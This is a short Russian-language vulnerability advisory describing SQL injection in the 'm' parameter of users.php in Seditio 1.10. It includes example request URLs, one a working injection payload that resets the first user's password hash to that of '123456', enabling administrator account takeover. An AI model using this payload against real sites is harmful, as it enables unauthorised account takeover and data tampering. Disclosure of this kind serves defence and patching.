Программа: Seditio 1.10
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "m" сценарием users.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Примеры:
http://www.victim.com/users.php?m=profile&a=avatarselect&x= XVALUE&id=default.gif[SQL Inject]
http://www.victim.com/users.php?m=profile&a=avatarselect&x= 011A99&id=default.gif%2500%2527,user_password=%2527e10adc
3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of Seditio to 123456
